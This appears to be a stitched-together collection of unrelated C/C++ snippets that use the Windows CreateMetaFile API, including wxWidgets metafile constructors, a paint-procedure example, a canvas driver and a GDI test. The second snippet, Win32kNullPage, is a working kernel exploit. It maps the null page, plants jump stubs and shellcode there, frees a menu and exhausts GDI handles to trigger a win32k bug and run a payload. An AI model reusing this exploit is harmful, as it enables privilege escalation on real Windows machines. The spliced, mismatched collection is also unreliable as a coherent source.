// Original constructor that does not takes origin and extent. If you use this,
// *DO* give origin/extent arguments to wxMakeMetafilePlaceable.
wxMetafileDCImpl::wxMetafileDCImpl(wxDC *owner, const wxString& file)
: wxMSWDCImpl(owner)
{
m_metaFile = NULL;
m_minX = 10000;
m_minY = 10000;
m_maxX = -10000;
m_maxY = -10000;
// m_title = NULL;
if ( wxFileExists(file) )
wxRemoveFile(file);
if ( file.empty() )
m_hDC = (WXHDC) CreateMetaFile(NULL);
else
m_hDC = (WXHDC) CreateMetaFile(file);
m_ok = (m_hDC != (WXHDC) 0) ;
// Actual Windows mapping mode, for future reference.
m_windowsMappingMode = wxMM_TEXT;
SetMapMode(wxMM_TEXT); // NOTE: does not set HDC mapmode (this is correct)
}
void Win32kNullPage(LPVOID lpPayload) {
HMENU menu1 = NULL;
HMENU menu2 = NULL;
HANDLE gdi_handle = NULL;
void *promise_land = NULL;
ULONG interval = 0;
PHANDLEENTRY aheList = NULL;
PHANDLEENTRY target_handle = NULL;
DWORD saved_bytes = 0;
desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(desktop);
if (!CreateAndRegisterClass(window_class_name)) {
return;
}
if (AllocateNullPage() != STATUS_SUCCESS) {
return;
}
*((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */
*((PDWORD)promise_land + 1) = 0x90909090; /* noooop */
*((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */
*((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */
*((PDWORD)promise_land + 7) = 0x00;
*((PDWORD)promise_land + 9) = 0x00;
*((PDWORD)promise_land + 12) = 0x00;
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
menu1 = CreatePopupMenu();
menu2 = CreateMenu();
SetMenu(window1, menu2);
DestroyMenu(menu2);
aheList = GetAheList();
*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
*((PDWORD)promise_land + 128) = 0x01;
*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
target_handle = &aheList[((DWORD)menu2 & 0xffff)];
*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
return;
}
do {
gdi_handle = CreateMetaFile(NULL);
} while (gdi_handle != NULL);
CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
Sleep(500);
TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
return;
}
static HMETAFILE create_mf(void)
{
RECT rect = {0, 0, 100, 100};
HDC hdc = CreateMetaFile(NULL);
ExtTextOut(hdc, 0, 0, ETO_OPAQUE, &rect, "Test String", strlen("Test String"), NULL);
return CloseMetaFile(hdc);
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static HMETAFILE hmf ;
static int cxClient, cyClient ;
HBRUSH hBrush ;
HDC hdc, hdcMeta ;
int x, y ;
PAINTSTRUCT ps ;
switch (message)
{
case WM_CREATE:
hdcMeta = CreateMetaFile (NULL) ;
hBrush = CreateSolidBrush (RGB (0, 0, 255)) ;
Rectangle (hdcMeta, 0, 0, 100, 100) ;
MoveToEx (hdcMeta, 0, 0, NULL) ;
LineTo (hdcMeta, 100, 100) ;
MoveToEx (hdcMeta, 0, 100, NULL) ;
LineTo (hdcMeta, 100, 0) ;
SelectObject (hdcMeta, hBrush) ;
Ellipse (hdcMeta, 20, 20, 80, 80) ;
hmf = CloseMetaFile (hdcMeta) ;
DeleteObject (hBrush) ;
return 0 ;
case WM_SIZE:
cxClient = LOWORD (lParam) ;
cyClient = HIWORD (lParam) ;
return 0 ;
case WM_PAINT:
hdc = BeginPaint (hwnd, &ps) ;
SetMapMode (hdc, MM_ANISOTROPIC) ;
SetWindowExtEx (hdc, 1000, 1000, NULL) ;
SetViewportExtEx (hdc, cxClient, cyClient, NULL) ;
for (x = 0 ; x < 10 ; x++)
for (y = 0 ; y < 10 ; y++)
{
SetWindowOrgEx (hdc, -100 * x, -100 * y, NULL) ;
PlayMetaFile (hdc, hmf) ;
}
EndPaint (hwnd, &ps) ;
return 0 ;
case WM_DESTROY:
DeleteMetaFile (hmf) ;
PostQuitMessage (0) ;
return 0 ;
}
return DefWindowProc (hwnd, message, wParam, lParam) ;
}
static void cdcreatecanvas(cdCanvas* canvas, void* data)
{
cdCtxCanvas* ctxcanvas;
char* strdata = (char*)data;
int w = 0, h = 0;
double res = 0, xres, yres;
FILE* fh;
char filename[10240] = "";
/* Inicializa parametros */
if (strdata == NULL)
return;
strdata += cdGetFileName(strdata, filename);
if (filename[0] == 0)
return;
sscanf(strdata,"%dx%d %lg", &w, &h, &res);
if (w == 0 || h == 0)
return;
if (res)
{
xres = res;
yres = res;
}
else
{
HDC ScreenDC = GetDC(NULL);
xres = ((double)GetDeviceCaps(ScreenDC, LOGPIXELSX)) / 25.4;
yres = ((double)GetDeviceCaps(ScreenDC, LOGPIXELSY)) / 25.4;
ReleaseDC(NULL, ScreenDC);
}
/* Verifica se o arquivo pode ser aberto para escrita */
fh = fopen(filename, "w");
if (fh == 0)
return;
fclose(fh);
/* Inicializa driver WIN32 */
ctxcanvas = cdwCreateCanvas(canvas, NULL, CreateMetaFile(NULL), CDW_WMF);
canvas->w = w;
canvas->h = h;
canvas->xres = xres;
canvas->yres = yres;
canvas->w_mm = ((double)w) / res;
canvas->h_mm = ((double)h) / res;
canvas->bpp = 24;
ctxcanvas->clip_pnt[2].x = ctxcanvas->clip_pnt[1].x = canvas->w - 1;
ctxcanvas->clip_pnt[3].y = ctxcanvas->clip_pnt[2].y = canvas->h - 1;
/* Inicializacao de variaveis particulares para o WMF */
ctxcanvas->filename = cdStrDup(filename);
}
// Original constructor that does not takes origin and extent. If you use this,
// *DO* give origin/extent arguments to wxMakeMetafilePlaceable.
wxMetafileDC::wxMetafileDC(const wxString& file)
{
m_metaFile = NULL;
m_minX = 10000;
m_minY = 10000;
m_maxX = -10000;
m_maxY = -10000;
// m_title = NULL;
if (!file.IsNull() && wxFileExists(file))
wxRemoveFile(file);
if (!file.IsNull() && (file != wxEmptyString))
m_hDC = (WXHDC) CreateMetaFile(file);
else
m_hDC = (WXHDC) CreateMetaFile(NULL);
m_ok = (m_hDC != (WXHDC) 0) ;
// Actual Windows mapping mode, for future reference.
m_windowsMappingMode = wxMM_TEXT;
SetMapMode(wxMM_TEXT); // NOTE: does not set HDC mapmode (this is correct)
}
// New constructor that takes origin and extent. If you use this, don't
// give origin/extent arguments to wxMakeMetafilePlaceable.
wxMetafileDC::wxMetafileDC(const wxString& file, int xext, int yext, int xorg, int yorg)
{
m_minX = 10000;
m_minY = 10000;
m_maxX = -10000;
m_maxY = -10000;
if ( !file.IsEmpty() && wxFileExists(file))
wxRemoveFile(file);
m_hDC = (WXHDC) CreateMetaFile(file);
m_ok = true;
::SetWindowOrgEx((HDC) m_hDC,xorg,yorg, NULL);
::SetWindowExtEx((HDC) m_hDC,xext,yext, NULL);
// Actual Windows mapping mode, for future reference.
m_windowsMappingMode = wxMM_ANISOTROPIC;
SetMapMode(wxMM_TEXT); // NOTE: does not set HDC mapmode (this is correct)
}
void
Test_MetaDC(void)
{
/* Windows does not SetLastError() on a metadc, but it doesn't seem to do anything with it */
HDC hMetaDC;
BYTE buffer[1000];
hMetaDC = CreateMetaFile(NULL);
ok(hMetaDC != 0, "CreateMetaFile failed, skipping tests.\n");
if(!hMetaDC) return;
ok(((UINT_PTR)hMetaDC & GDI_HANDLE_TYPE_MASK) == GDI_OBJECT_TYPE_METADC, "\n");
SetLastError(ERROR_SUCCESS);
ok(GetObjectA((HANDLE)GDI_OBJECT_TYPE_METADC, 0, NULL) == 0, "\n");
ok(GetObjectA((HANDLE)GDI_OBJECT_TYPE_METADC, 100, &buffer) == 0, "\n");
ok(GetObjectA(hMetaDC, 0, NULL) == 0, "\n");
ok(GetObjectA(hMetaDC, 1000, &buffer) == 0, "\n");
ok(GetLastError() == ERROR_SUCCESS, "got %ld\n", GetLastError());
}